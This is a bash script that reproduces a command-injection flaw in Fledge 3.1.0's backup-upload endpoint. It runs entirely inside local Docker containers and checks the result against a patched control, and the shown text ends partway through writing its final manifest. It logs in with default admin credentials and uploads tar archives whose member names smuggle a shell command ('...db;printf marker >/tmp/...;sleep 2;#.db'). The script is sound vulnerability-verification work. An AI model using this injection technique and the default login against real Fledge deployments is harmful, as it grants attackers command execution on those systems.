#!/bin/bash
set -euo pipefail

# Portable paths - works from any directory.
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
EVIDENCE="$LOGS/repro/cve-2026-71284"
WORK="$LOGS/repro/cve-2026-71284-work"
mkdir -p "$LOGS" "$REPRO_DIR"
rm -rf "$EVIDENCE" "$WORK"
mkdir -p "$EVIDENCE/inputs" "$WORK"
cd "$ROOT"

# Keep the full diagnostic stream in the bundle. This live file is deliberately
# not listed as immutable runtime proof in runtime_manifest.json.
exec > >(tee "$LOGS/reproduction_steps.log") 2>&1

REPOSITORY_URL="https://github.com/fledge-iot/fledge"
FLEDGE_COMMIT="f90ffc2047ee49a380ada98a59fcc2985bd6a943"
UBUNTU_2204_DIGEST="sha256:0199853f6d6b20b0424f3c5694a72a62764f01e6a771b1eb48a4197848986c7e"
VULN_IMAGE="pruva-cve-2026-71284-fledge:vulnerable"
PATCHED_IMAGE="pruva-cve-2026-71284-fledge:patched-control"
SUCCESS=0
declare -a CONTAINERS=()
declare -A INSTANCE_IDS=()

write_initial_manifest() {
    cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "endpoint",
  "entrypoint_detail": "POST /fledge/backup/upload (runtime attempt not yet complete)",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": false,
  "runtime_stack": [],
  "proof_artifacts": [],
  "notes": "The reproduction attempt has not completed."
}
JSON
}

write_failed_manifest() {
    local rc="$1"
    python3 - "$ROOT" "$EVIDENCE" "$REPRO_DIR/runtime_manifest.json" "$rc" <<'PY'
import hashlib, json, pathlib, sys
root = pathlib.Path(sys.argv[1])
evidence = pathlib.Path(sys.argv[2])
out = pathlib.Path(sys.argv[3])
rc = int(sys.argv[4])
files = sorted(p for p in evidence.rglob('*') if p.is_file()) if evidence.exists() else []
proof = [str(p.relative_to(root)) for p in files]
digests = {str(p.relative_to(root)): hashlib.sha256(p.read_bytes()).hexdigest() for p in files}
data = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "POST /fledge/backup/upload",
    "service_started": False,
    "healthcheck_passed": False,
    "target_path_reached": False,
    "runtime_stack": [],
    "proof_artifacts": proof,
    "artifact_sha256": digests,
    "notes": f"Runtime attempt failed before confirmation (exit {rc}); partial diagnostics are listed."
}
out.write_text(json.dumps(data, indent=2, sort_keys=True) + "\n")
PY
}

cleanup() {
    local rc=$?
    trap - EXIT INT TERM
    if command -v docker >/dev/null 2>&1; then
        local name
        for name in "${CONTAINERS[@]:-}"; do
            [ -n "$name" ] && docker rm -f "$name" >/dev/null 2>&1 || true
        done
    fi
    if [ "$SUCCESS" -ne 1 ]; then
        [ "$rc" -ne 0 ] || rc=1
        write_failed_manifest "$rc" || true
    fi
    exit "$rc"
}
trap cleanup EXIT INT TERM
write_initial_manifest

echo "[+] Checking required host tools and Docker daemon"
for tool in git docker curl jq python3 sha256sum; do
    command -v "$tool" >/dev/null 2>&1 || { echo "Missing required tool: $tool"; exit 2; }
done
docker info >/dev/null

# Select the prepared project cache when available, as required by the runtime
# contract. Fall back to a bundle-owned checkout only when it is unusable.
CACHE_CONTEXT="$ROOT/project_cache_context.json"
REPO=""
CACHE_MANIFEST=""
CACHE_SCHEMA="1"
if [ -r "$CACHE_CONTEXT" ] && [ "$(jq -r '.prepared // false' "$CACHE_CONTEXT" 2>/dev/null)" = "true" ]; then
    CACHE_DIR="$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT")"
    if [ -n "$CACHE_DIR" ]; then
        REPO="$CACHE_DIR/repo"
        CACHE_MANIFEST="$(jq -r '.cache_manifest_path // empty' "$CACHE_CONTEXT")"
        CACHE_SCHEMA="$(jq -r '.cache_manifest_schema_version // 1' "$CACHE_CONTEXT")"
    fi
fi
if [ -z "$REPO" ]; then
    REPO="$ROOT/artifacts/fledge"
fi
mkdir -p "$(dirname "$REPO")"

if [ ! -d "$REPO/.git" ]; then
    echo "[+] Cloning exact Fledge v3.1.0 source"
    git clone --branch v3.1.0 --single-branch "$REPOSITORY_URL.git" "$REPO" \
        2>&1 | tee "$LOGS/fledge-clone.log"
fi
ORIGIN_URL="$(git -C "$REPO" remote get-url origin)"
case "$ORIGIN_URL" in
    "$REPOSITORY_URL"|"$REPOSITORY_URL.git") ;;
    *) echo "Unexpected repository origin: $ORIGIN_URL"; exit 2 ;;
esac
if ! git -C "$REPO" cat-file -e "$FLEDGE_COMMIT^{commit}" 2>/dev/null; then
    git -C "$REPO" fetch --force origin "refs/tags/v3.1.0:refs/tags/v3.1.0"
fi
git -C "$REPO" checkout --detach --force "$FLEDGE_COMMIT"
git -C "$REPO" reset --hard "$FLEDGE_COMMIT"
git -C "$REPO" clean -fdx
ACTUAL_COMMIT="$(git -C "$REPO" rev-parse HEAD)"
[ "$ACTUAL_COMMIT" = "$FLEDGE_COMMIT" ] || { echo "Wrong source commit: $ACTUAL_COMMIT"; exit 2; }
TAG_COMMIT="$(git -C "$REPO" rev-list -n1 v3.1.0 2>/dev/null || true)"
[ "$TAG_COMMIT" = "$FLEDGE_COMMIT" ] || { echo "v3.1.0 does not resolve to expected commit"; exit 2; }
SINK_FILE="$REPO/python/fledge/services/core/api/backup_restore.py"
grep -Fq 'cmd = "cp {} {}".format(source, backup_path)' "$SINK_FILE"
grep -Fq 'ret_code = os.system(cmd)' "$SINK_FILE"
SOURCE_FILE_SHA256="$(sha256sum "$SINK_FILE" | awk '{print $1}')"
TARGET_DIGEST="$(printf 'git:%s@%s' "$REPOSITORY_URL" "$FLEDGE_COMMIT" | sha256sum | awk '{print $1}')"

cat > "$EVIDENCE/source_identity.json" <<JSON
{
  "repository_url": "$REPOSITORY_URL",
  "tag": "v3.1.0",
  "commit_sha": "$FLEDGE_COMMIT",
  "backup_restore_sha256": "$SOURCE_FILE_SHA256",
  "canonical_target_digest": "$TARGET_DIGEST"
}
JSON

# Declare reusable cache roots, never proof output. The entries are siblings and
# therefore satisfy the disjoint-path rule.
if [ -n "$CACHE_MANIFEST" ]; then
    mkdir -p "$(dirname "$CACHE_MANIFEST")"
    python3 - "$CACHE_MANIFEST" "$CACHE_SCHEMA" <<'PY'
import json, pathlib, sys
p = pathlib.Path(sys.argv[1])
schema = int(sys.argv[2])
data = {
    "schema_version": schema,
    "entries": [
        {"path": "repo-mirrors", "reuse_class": "repo"},
        {"path": "repo", "reuse_class": "repo"}
    ]
}
p.write_text(json.dumps(data, indent=2) + "\n")
PY
fi

# Build the real product from the exact release. The Ubuntu base is immutable,
# compilation parallelism is bounded to avoid resource-driven OOM failures, and
# rsyslog supplies Fledge's normal /dev/log runtime dependency.
BASE_DOCKERFILE="$WORK/Fledge.Dockerfile"
cat > "$BASE_DOCKERFILE" <<DOCKER
FROM ubuntu:22.04@$UBUNTU_2204_DIGEST
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y --no-install-recommends \\
    ca-certificates curl git cmake g++ make build-essential autoconf automake \\
    uuid-dev libtool libboost-dev libboost-system-dev libboost-thread-dev \\
    libpq-dev zlib1g-dev libssl-dev libsqlite3-dev python3-dev python3-pip \\
    python3-numpy sqlite3 pkg-config libcurl4-openssl-dev krb5-user cpulimit \\
    strace procps psmisc net-tools jq rsyslog passwd util-linux && \\
    rm -rf /var/lib/apt/lists/*
RUN python3 -m pip install --no-cache-dir -U pip && \\
    python3 -m pip install --no-cache-dir \\
      aiohttp==3.8.6 aiohttp_cors==0.7.0 cchardet==2.1.7 yarl==1.7.2 \\
      pyjwt==2.4.0 requests-toolbelt==1.0.0 zeroconf==0.27.0
RUN ln -sf /usr/bin/sqlite3 /usr/local/bin/sqlite3
COPY . /src/fledge
WORKDIR /src/fledge
RUN test "\$(git rev-parse HEAD)" = "$FLEDGE_COMMIT" && \\
    make -j2 && make install -j2 DESTDIR=/opt/fledge-stage
ENV FLEDGE_ROOT=/opt/fledge-stage/usr/local/fledge
ENV FLEDGE_DATA=/var/lib/fledge
ENV PYTHONPATH=/opt/fledge-stage/usr/local/fledge/python
ENV PATH=/opt/fledge-stage/usr/local/fledge/bin:\$PATH
ENV LD_LIBRARY_PATH=/opt/fledge-stage/usr/local/fledge/lib
RUN useradd --system --uid 10001 --home-dir /var/lib/fledge --shell /bin/bash fledge && \\
    mkdir -p /var/lib/fledge/logs /var/lib/fledge/var/run && \\
    cp -a /opt/fledge-stage/usr/local/fledge/data/. /var/lib/fledge/ && \\
    chown -R fledge:fledge /var/lib/fledge
EXPOSE 8081
CMD ["/bin/bash", "-lc", "set -e; rm -f /run/rsyslogd.pid; rsyslogd; for i in \$(seq 1 50); do [ -S /dev/log ] && break; sleep .1; done; test -S /dev/log; runuser -u fledge -- env HOME=/var/lib/fledge FLEDGE_ROOT=\$FLEDGE_ROOT FLEDGE_DATA=\$FLEDGE_DATA PYTHONPATH=\$PYTHONPATH LD_LIBRARY_PATH=\$LD_LIBRARY_PATH PATH=\$PATH \$FLEDGE_ROOT/bin/fledge start; exec tail -F /var/lib/fledge/core.err /var/log/syslog"]
DOCKER

echo "[+] Building exact Fledge 3.1.0 product image"
DOCKER_BUILDKIT=0 docker build -f "$BASE_DOCKERFILE" -t "$VULN_IMAGE" "$REPO" \
    2>&1 | tee "$LOGS/fledge-image-build.log"
VULN_IMAGE_ID="$(docker image inspect "$VULN_IMAGE" --format '{{.Id}}')"

# Create an honest same-version patched control. It changes only the unsafe
# shell-based copy operation to shutil.copy2 while preserving the endpoint,
# validation, extraction, backup-record, and audit behavior.
PATCH_CONTEXT="$WORK/patched-control"
mkdir -p "$PATCH_CONTEXT"
cat > "$PATCH_CONTEXT/patch_control.py" <<'PY'
from pathlib import Path
p = Path('/opt/fledge-stage/usr/local/fledge/python/fledge/services/core/api/backup_restore.py')
s = p.read_text()
s = s.replace('import json\n', 'import json\nimport shutil\n', 1)
old = '''            cmd = "cp {} {}".format(source, backup_path)\n            _logger.debug("upload_backup: source :{}: - cmd :{}: - filename :{}:".format(source, cmd, backup_file_name))\n            ret_code = os.system(cmd)\n            if ret_code != 0:\n                raise OSError("{} upload failed during copy to path:{}".format(file_name, backup_path))\n'''
new = '''            _logger.debug("upload_backup patched control: source :{}: - destination :{}: - filename :{}:".format(source, backup_path, backup_file_name))\n            shutil.copy2(source, backup_path)\n'''
assert s.count(old) == 1, f"expected one vulnerable copy block, found {s.count(old)}"
s = s.replace(old, new, 1)
p.write_text(s)
assert old not in p.read_text()
assert 'cmd = "cp {} {}".format(source, backup_path)' not in p.read_text()
assert p.read_text().count('upload_backup patched control') == 1
PY
cat > "$PATCH_CONTEXT/Dockerfile" <<DOCKER
FROM $VULN_IMAGE
COPY patch_control.py /tmp/patch_control.py
RUN python3 /tmp/patch_control.py && rm /tmp/patch_control.py && \\
    grep -q 'upload_backup patched control' /opt/fledge-stage/usr/local/fledge/python/fledge/services/core/api/backup_restore.py && \\
    ! grep -q 'cmd = "cp {} {}".format(source, backup_path)' /opt/fledge-stage/usr/local/fledge/python/fledge/services/core/api/backup_restore.py
DOCKER

echo "[+] Building same-version behavior-preserving patched control"
DOCKER_BUILDKIT=0 docker build -f "$PATCH_CONTEXT/Dockerfile" -t "$PATCHED_IMAGE" "$PATCH_CONTEXT" \
    2>&1 | tee "$LOGS/fledge-patched-control-build.log"
PATCHED_IMAGE_ID="$(docker image inspect "$PATCHED_IMAGE" --format '{{.Id}}')"

{
    echo "vulnerable_image=$VULN_IMAGE"
    echo "vulnerable_image_id=$VULN_IMAGE_ID"
    echo "patched_control_image=$PATCHED_IMAGE"
    echo "patched_control_image_id=$PATCHED_IMAGE_ID"
    echo "base_image_digest=$UBUNTU_2204_DIGEST"
    docker image inspect "$VULN_IMAGE" "$PATCHED_IMAGE"
} > "$EVIDENCE/runtime_image_identity.txt"

docker run --rm --entrypoint bash "$PATCHED_IMAGE" -lc \
    "grep -n -A3 -B3 'upload_backup patched control' \"\$FLEDGE_ROOT/python/fledge/services/core/api/backup_restore.py\"" \
    > "$EVIDENCE/patched_control_source.txt"

make_archive() {
    local output="$1"
    local member="$2"
    python3 - "$output" "$member" <<'PY'
import gzip, io, pathlib, sys, tarfile
out = pathlib.Path(sys.argv[1])
member = sys.argv[2]
data = b"SQLITE_PLACEHOLDER_FOR_UPLOAD_WORKFLOW\n"
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w", format=tarfile.PAX_FORMAT) as tf:
    info = tarfile.TarInfo(member)
    info.size = len(data)
    info.mode = 0o644
    info.uid = info.gid = 0
    info.uname = info.gname = ""
    info.mtime = 0
    tf.addfile(info, io.BytesIO(data))
with out.open("wb") as raw:
    with gzip.GzipFile(filename="", mode="wb", fileobj=raw, mtime=0) as gz:
        gz.write(buf.getvalue())
with tarfile.open(out, "r:gz") as tf:
    assert tf.getnames() == [member]
PY
}

BENIGN_MEMBER="fledge_backup_2026_08_05_00_00_00.db"
BENIGN_ARCHIVE="$EVIDENCE/inputs/fledge_backup_benign.tar.gz"
make_archive "$BENIGN_ARCHIVE" "$BENIGN_MEMBER"
for i in 1 2; do
    marker_value="PRUVA_CVE_2026_71284_ATTEMPT_${i}"
    marker_path="/tmp/pruva_cve_2026_71284_attempt_${i}"
    member="fledge_backup_2026_08_05_00_00_0${i}.db;printf ${marker_value} >${marker_path};sleep 2;#.db"
    make_archive "$EVIDENCE/inputs/fledge_backup_attack_${i}.tar.gz" "$member"
    printf '%s\n' "$member" > "$EVIDENCE/inputs/attack_${i}_member_name.txt"
done
sha256sum "$EVIDENCE"/inputs/*.tar.gz > "$EVIDENCE/inputs/archive_sha256.txt"

CURRENT_NAME=""
CURRENT_PORT=""
CURRENT_CONTAINER_ID=""
TOKEN=""

start_instance() {
    local label="$1"
    local image="$2"
    CURRENT_NAME="pruva-cve-2026-71284-${label}-$$"
    docker rm -f "$CURRENT_NAME" >/dev/null 2>&1 || true
    CONTAINERS+=("$CURRENT_NAME")
    echo "[+] Starting $label from $image"
    docker run -d --cap-add=SYS_PTRACE --security-opt seccomp=unconfined \
        --name "$CURRENT_NAME" -p 127.0.0.1::8081 "$image" >/dev/null
    CURRENT_CONTAINER_ID="$(docker inspect "$CURRENT_NAME" --format '{{.Id}}')"
    INSTANCE_IDS["$label"]="$CURRENT_CONTAINER_ID"
    CURRENT_PORT="$(docker port "$CURRENT_NAME" 8081/tcp | awk -F: 'NR==1 {print $NF}')"
    [ -n "$CURRENT_PORT" ]
    local status="000"
    local n
    for n in $(seq 1 75); do
        status="$(curl -sS --max-time 2 -o "$WORK/${label}_health_body.tmp" -w '%{http_code}' \
            "http://127.0.0.1:${CURRENT_PORT}/fledge/ping" || true)"
        if [ "$status" = "200" ]; then break; fi
        if [ "$(docker inspect "$CURRENT_NAME" --format '{{.State.Running}}')" != "true" ]; then
            docker logs "$CURRENT_NAME" || true
            echo "$label exited before healthcheck"
            return 1
        fi
        sleep 2
    done
    [ "$status" = "200" ] || { docker logs "$CURRENT_NAME" || true; echo "$label healthcheck failed"; return 1; }
    cp "$WORK/${label}_health_body.tmp" "$EVIDENCE/${label}_health_response.json"
    jq -e '.version == "3.1.0" and .health == "green" and .authenticationOptional == false' \
        "$EVIDENCE/${label}_health_response.json" >/dev/null
    printf 'GET /fledge/ping HTTP status: %s\n' "$status" > "$EVIDENCE/${label}_health_request.txt"
    docker inspect "$CURRENT_NAME" > "$EVIDENCE/${label}_container_running.json"
}

capture_runtime_identity() {
    local label="$1"
    {
        echo "container_id=$CURRENT_CONTAINER_ID"
        echo "image_id=$(docker inspect "$CURRENT_NAME" --format '{{.Image}}')"
        docker exec "$CURRENT_NAME" bash -lc 'set -e
            echo "version:"; cat "$FLEDGE_ROOT/VERSION"
            echo "service user:"; id fledge
            core=$(pgrep -u fledge -f "python3 -m fledge.services.core" | head -1)
            storage=$(pgrep -u fledge -f "fledge.services.storage" | head -1)
            echo "core_pid=$core storage_pid=$storage"
            echo "core_cmdline=$(tr "\0" " " < /proc/$core/cmdline)"
            echo "storage_cmdline=$(tr "\0" " " < /proc/$storage/cmdline)"
            echo "core_executable=$(readlink -f /proc/$core/exe)"
            echo "storage_executable=$(readlink -f /proc/$storage/exe)"
            echo "handler_sha256:"; sha256sum "$FLEDGE_ROOT/python/fledge/services/core/api/backup_restore.py"
            echo "storage ldd:"; ldd "$FLEDGE_ROOT/services/fledge.services.storage"
            echo "process status:"; grep -E "^(Name|Pid|PPid|Uid|Gid):" /proc/$core/status
            echo "process maps:"; cat /proc/$core/maps'
        docker exec "$CURRENT_NAME" python3 -c \
            'import aiohttp, fledge.services.core.api.backup_restore as b; print("aiohttp="+aiohttp.__version__); print("handler_module="+b.__file__)'
    } > "$EVIDENCE/${label}_runtime_identity.txt"
}

login_admin() {
    local label="$1"
    local base="http://127.0.0.1:${CURRENT_PORT}"
    local raw="$WORK/${label}_login_raw.json"
    cat > "$EVIDENCE/${label}_login_request.json" <<'JSON'
{
  "method": "POST",
  "path": "/fledge/login",
  "content_type": "application/json",
  "username": "admin",
  "password": "<redacted default setup credential>"
}
JSON
    local status
    status="$(curl -sS --max-time 10 -D "$EVIDENCE/${label}_login_response.headers" \
        -o "$raw" -w '%{http_code}' -H 'Content-Type: application/json' \
        -d '{"username":"admin","password":"fledge"}' "$base/fledge/login")"
    [ "$status" = "200" ]
    jq -e '.admin == true and .uid == 1 and (.token | type == "string" and length > 20)' "$raw" >/dev/null
    TOKEN="$(jq -r '.token' "$raw")"
    jq '{message, uid, admin, token:"<redacted current-run token>"}' "$raw" \
        > "$EVIDENCE/${label}_login_response.json"
    rm -f "$raw"

    cat > "$EVIDENCE/${label}_logging_request.json" <<'JSON'
{
  "method": "PUT",
  "path": "/fledge/category/LOGGING",
  "body": {"logLevel":"debug"}
}
JSON
    status="$(curl -sS --max-time 10 -o "$EVIDENCE/${label}_logging_response.json" \
        -w '%{http_code}' -X PUT -H "authorization: $TOKEN" \
        -H 'Content-Type: application/json' -d '{"logLevel":"debug"}' \
        "$base/fledge/category/LOGGING")"
    [ "$status" = "200" ]
    jq -e '.logLevel.value == "debug"' "$EVIDENCE/${label}_logging_response.json" >/dev/null
}

write_upload_request() {
    local label="$1"
    local archive="$2"
    local outer_name="$3"
    local archive_sha
    archive_sha="$(sha256sum "$archive" | awk '{print $1}')"
    python3 - "$EVIDENCE/${label}_upload_request.json" "$archive_sha" "$outer_name" <<'PY'
import json, pathlib, sys
pathlib.Path(sys.argv[1]).write_text(json.dumps({
    "method": "POST",
    "path": "/fledge/backup/upload",
    "authorization": "current-run authenticated administrator token (redacted)",
    "content_type": "multipart/form-data",
    "multipart_field": "filename",
    "uploaded_filename": sys.argv[3],
    "archive_sha256": sys.argv[2]
}, indent=2) + "\n")
PY
}

start_exec_trace() {
    docker exec "$CURRENT_NAME" bash -lc 'set -e
        rm -f /tmp/pruva_exec_trace.log /tmp/pruva_strace_attach.log /tmp/pruva_strace.pid
        core=$(pgrep -u fledge -f "python3 -m fledge.services.core" | head -1)
        nohup strace -f -s 512 -e trace=process,execve -o /tmp/pruva_exec_trace.log -p "$core" \
            >/tmp/pruva_strace_attach.log 2>&1 &
        echo $! >/tmp/pruva_strace.pid
        disown'
    local tracer="0"
    local n
    for n in $(seq 1 50); do
        tracer="$(docker exec "$CURRENT_NAME" bash -lc \
            'core=$(pgrep -u fledge -f "python3 -m fledge.services.core" | head -1); awk "/^TracerPid:/{print \$2}" /proc/$core/status')"
        [ -n "$tracer" ] && [ "$tracer" != "0" ] && break
        sleep 0.1
    done
    [ -n "$tracer" ] && [ "$tracer" != "0" ] || {
        docker exec "$CURRENT_NAME" cat /tmp/pruva_strace_attach.log || true
        echo "strace failed to attach to Fledge core"
        return 1
    }
}

stop_exec_trace() {
    local label="$1"
    docker exec "$CURRENT_NAME" bash -lc '
        pid=$(cat /tmp/pruva_strace.pid)
        kill -INT "$pid" 2>/dev/null || true
        for i in $(seq 1 30); do kill -0 "$pid" 2>/dev/null || exit 0; sleep .1; done
        kill -TERM "$pid" 2>/dev/null || true' || true
    sleep 0.2
    docker cp "$CURRENT_NAME:/tmp/pruva_exec_trace.log" "$EVIDENCE/${label}_execve_trace.log" >/dev/null
    docker cp "$CURRENT_NAME:/tmp/pruva_strace_attach.log" "$EVIDENCE/${label}_strace_attach.log" >/dev/null
    [ -s "$EVIDENCE/${label}_execve_trace.log" ]
}

send_benign_control() {
    local marker_path="$1"
    local label="benign_control"
    local base="http://127.0.0.1:${CURRENT_PORT}"
    local outer="fledge_backup_benign.tar.gz"
    write_upload_request "$label" "$BENIGN_ARCHIVE" "$outer"
    docker exec "$CURRENT_NAME" rm -f "$marker_path"
    local status
    status="$(curl -sS --max-time 20 -D "$EVIDENCE/${label}_upload_response.headers" \
        -o "$EVIDENCE/${label}_upload_response.json" -w '%{http_code}' \
        -H "authorization: $TOKEN" -F "filename=@${BENIGN_ARCHIVE};filename=${outer}" \
        "$base/fledge/backup/upload")"
    [ "$status" = "200" ]
    jq -e '.message | contains("backup uploaded successfully")' "$EVIDENCE/${label}_upload_response.json" >/dev/null
    if docker exec "$CURRENT_NAME" test -e "$marker_path"; then
        echo "Benign upload unexpectedly created attack marker"
        return 1
    fi
    docker exec "$CURRENT_NAME" find /var/lib/fledge/backup -maxdepth 1 -type f -printf '%f\n' \
        > "$EVIDENCE/${label}_backup_listing.txt"
    grep -Fq "$BENIGN_MEMBER" "$EVIDENCE/${label}_backup_listing.txt"
    cat > "$EVIDENCE/${label}_observation.json" <<JSON
{
  "schema_version": 1,
  "process_instance": "$CURRENT_CONTAINER_ID",
  "marker": "PRUVA_CVE_2026_71284_ATTEMPT_1",
  "target_path_reached": true,
  "marker_present": false
}
JSON
}

send_vulnerable_attack() {
    local i="$1"
    local label="vulnerable_${i}"
    local archive="$EVIDENCE/inputs/fledge_backup_attack_${i}.tar.gz"
    local outer="fledge_backup_attack_${i}.tar.gz"
    local marker_value="PRUVA_CVE_2026_71284_ATTEMPT_${i}"
    local marker_path="/tmp/pruva_cve_2026_71284_attempt_${i}"
    local base="http://127.0.0.1:${CURRENT_PORT}"
    write_upload_request "$label" "$archive" "$outer"
    docker exec "$CURRENT_NAME" rm -f "$marker_path"
    start_exec_trace

    curl -sS --max-time 25 -D "$EVIDENCE/${label}_upload_response.headers" \
        -o "$EVIDENCE/${label}_upload_response.json" -w '%{http_code}' \
        -H "authorization: $TOKEN" -F "filename=@${archive};filename=${outer}" \
        "$base/fledge/backup/upload" > "$WORK/${label}_http_status" &
    local curl_pid=$!
    sleep 0.6
    docker exec "$CURRENT_NAME" ps -eo pid,ppid,uid,user,stat,comm,args --forest \
        > "$EVIDENCE/${label}_process_tree_during_attack.txt"
    wait "$curl_pid"
    stop_exec_trace "$label"

    [ "$(cat "$WORK/${label}_http_status")" = "200" ]
    jq -e '.message | contains("backup uploaded successfully")' "$EVIDENCE/${label}_upload_response.json" >/dev/null
    for _ in $(seq 1 20); do
        docker exec "$CURRENT_NAME" test -e "$marker_path" && break
        sleep 0.1
    done
    docker exec "$CURRENT_NAME" test -e "$marker_path"
    docker cp "$CURRENT_NAME:$marker_path" "$EVIDENCE/${label}_marker.txt" >/dev/null
    [ "$(cat "$EVIDENCE/${label}_marker.txt")" = "$marker_value" ]
    docker exec "$CURRENT_NAME" stat -c 'path=%n uid=%u user=%U gid=%g group=%G mode=%a size=%s' "$marker_path" \
        > "$EVIDENCE/${label}_marker_stat.txt"
    grep -Fq 'user=fledge' "$EVIDENCE/${label}_marker_stat.txt"
    grep -Fq "$marker_value" "$EVIDENCE/${label}_execve_trace.log"
    grep -Fq '/bin/sh' "$EVIDENCE/${label}_execve_trace.log"
    grep -Fq "$marker_value" "$EVIDENCE/${label}_process_tree_during_attack.txt"
    grep -F "$marker_value" "$EVIDENCE/${label}_execve_trace.log" \
        > "$EVIDENCE/${label}_shell_lineage.log"
    sleep 0.5
    docker exec "$CURRENT_NAME" cat /var/log/syslog > "$EVIDENCE/${label}_service.log"
    grep -Fq 'upload_backup: source' "$EVIDENCE/${label}_service.log"
    grep -Fq "$marker_value" "$EVIDENCE/${label}_service.log"
    cat > "$EVIDENCE/${label}_capability_observation.json" <<JSON
{
  "schema_version": 1,
  "process_instance": "$CURRENT_CONTAINER_ID",
  "marker": "$marker_value",
  "target_path_reached": true,
  "marker_present": true
}
JSON
}

send_patched_control() {
    local i="$1"
    local label="patched_${i}"
    local archive="$EVIDENCE/inputs/fledge_backup_attack_${i}.tar.gz"
    local outer="fledge_backup_attack_${i}.tar.gz"
    local marker_value="PRUVA_CVE_2026_71284_ATTEMPT_${i}"
    local marker_path="/tmp/pruva_cve_2026_71284_attempt_${i}"
    local base="http://127.0.0.1:${CURRENT_PORT}"
    write_upload_request "$label" "$archive" "$outer"
    docker exec "$CURRENT_NAME" rm -f "$marker_path"
    start_exec_trace
    local status
    status="$(curl -sS --max-time 20 -D "$EVIDENCE/${label}_upload_response.headers" \
        -o "$EVIDENCE/${label}_upload_response.json" -w '%{http_code}' \
        -H "authorization: $TOKEN" -F "filename=@${archive};filename=${outer}" \
        "$base/fledge/backup/upload")"
    stop_exec_trace "$label"
    [ "$status" = "200" ]
    jq -e '.message | contains("backup uploaded successfully")' "$EVIDENCE/${label}_upload_response.json" >/dev/null
    if docker exec "$CURRENT_NAME" test -e "$marker_path"; then
        echo "Patched control executed attacker command"
        return 1
    fi
    if grep -Fq "$marker_value" "$EVIDENCE/${label}_execve_trace.log"; then
        echo "Patched control passed attacker input to an execve"
        return 1
    fi
    docker exec "$CURRENT_NAME" find /var/lib/fledge/backup -maxdepth 1 -type f -printf '%f\n' \
        > "$EVIDENCE/${label}_backup_listing.txt"
    grep -Fq 'pruva_cve_2026_71284_attempt_' "$EVIDENCE/${label}_backup_listing.txt"
    sleep 0.5
    docker exec "$CURRENT_NAME" cat /var/log/syslog > "$EVIDENCE/${label}_service.log"
    grep -Fq 'upload_backup patched control' "$EVIDENCE/${label}_service.log"
    grep -Fq "$marker_value" "$EVIDENCE/${label}_service.log"
    cat > "$EVIDENCE/${label}_negative_control.json" <<JSON
{
  "schema_version": 1,
  "process_instance": "$CURRENT_CONTAINER_ID",
  "marker": "$marker_value",
  "target_path_reached": true,
  "marker_present": false
}
JSON
}

finish_instance() {
    local label="$1"
    docker exec "$CURRENT_NAME" ps -eo pid,ppid,uid,user,stat,comm,args \
        > "$EVIDENCE/${label}_final_process_tree.txt" || true
    docker stop -t 2 "$CURRENT_NAME" >/dev/null || true
    docker logs "$CURRENT_NAME" > "$EVIDENCE/${label}_container_console.log" 2>&1 || true
    docker inspect "$CURRENT_NAME" > "$EVIDENCE/${label}_container_final.json"
    docker rm "$CURRENT_NAME" >/dev/null
}

# Normal valid archive control plus two fresh vulnerable process instances.
start_instance "vulnerable_1" "$VULN_IMAGE"
capture_runtime_identity "vulnerable_1"
login_admin "vulnerable_1"
send_benign_control "/tmp/pruva_cve_2026_71284_attempt_1"
send_vulnerable_attack 1
finish_instance "vulnerable_1"

start_instance "vulnerable_2" "$VULN_IMAGE"
capture_runtime_identity "vulnerable_2"
login_admin "vulnerable_2"
send_vulnerable_attack 2
finish_instance "vulnerable_2"

# The exact same archive bytes and endpoint procedure against two fresh,
# same-version patched-control service instances.
for i in 1 2; do
    start_instance "patched_${i}" "$PATCHED_IMAGE"
    capture_runtime_identity "patched_${i}"
    login_admin "patched_${i}"
    send_patched_control "$i"
    finish_instance "patched_${i}"
done

# Cross-check exact same attacker archives were used on vulnerable and patched
# paths and write a concise final proof summary.
python3 - "$EVIDENCE/proof_summary.json" "$FLEDGE_COMMIT" "$VULN_IMAGE_ID" "$PATCHED_IMAGE_ID" \
    "${INSTANCE_IDS[vulnerable_1]}" "${INSTANCE_IDS[vulnerable_2]}" \
    "${INSTANCE_IDS[patched_1]}" "${INSTANCE_IDS[patched_2]}" \
    "$EVIDENCE/inputs/fledge_backup_attack_1.tar.gz" "$EVIDENCE/inputs/fledge_backup_attack_2.tar.gz" <<'PY'
import hashlib, json, pathlib, sys
out, commit, vuln_img, patched_img, v1, v2, p1, p2, a1, a2 = sys.argv[1:]
def sha(p): return hashlib.sha256(pathlib.Path(p).read_bytes()).hexdigest()
data = {
  "schema_version": 1,
  "result": "confirmed",
  "product": "Fledge 3.1.0",
  "commit_sha": commit,
  "vulnerable_image_id": vuln_img,
  "patched_control_image_id": patched_img,
  "vulnerable_process_instances": [v1, v2],
  "patched_control_process_instances": [p1, p2],
  "attacker_archive_sha256": [sha(a1), sha(a2)],
  "vulnerable_markers": ["PRUVA_CVE_2026_71284_ATTEMPT_1", "PRUVA_CVE_2026_71284_ATTEMPT_2"],
  "vulnerable_marker_present": [True, True],
  "patched_control_marker_present": [False, False],
  "benign_control_marker_present": False,
  "authenticated_admin_flow": True,
  "network_endpoint": "POST /fledge/backup/upload"
}
pathlib.Path(out).write_text(json.dumps(data, indent=2) + "\n")
PY

# Ensure all evidence files are finalized before binding them into the runtime
# manifest. No listed artifact is written after this point.
find "$EVIDENCE" -type f -exec chmod 0644 {} +
VULN_RUNTIME_DIGEST="${VULN_IMAGE_ID#sha256:}"
python3 - "$ROOT" "$EVIDENCE" "$REPRO_DIR/runtime_manifest.json" \
    "$FLEDGE_COMMIT" "$TARGET_DIGEST" "$VULN_RUNTIME_DIGEST" <<'PY'
import hashlib, json, pathlib, platform, sys
root = pathlib.Path(sys.argv[1])
evidence = pathlib.Path(sys.argv[2])
out = pathlib.Path(sys.argv[3])
commit, target_digest, runtime_digest = sys.argv[4:]
files = sorted(p for p in evidence.rglob('*') if p.is_file())
proof = [str(p.relative_to(root)) for p in files]
digests = {str(p.relative_to(root)): hashlib.sha256(p.read_bytes()).hexdigest() for p in files}
data = {
  "entrypoint_kind": "endpoint",
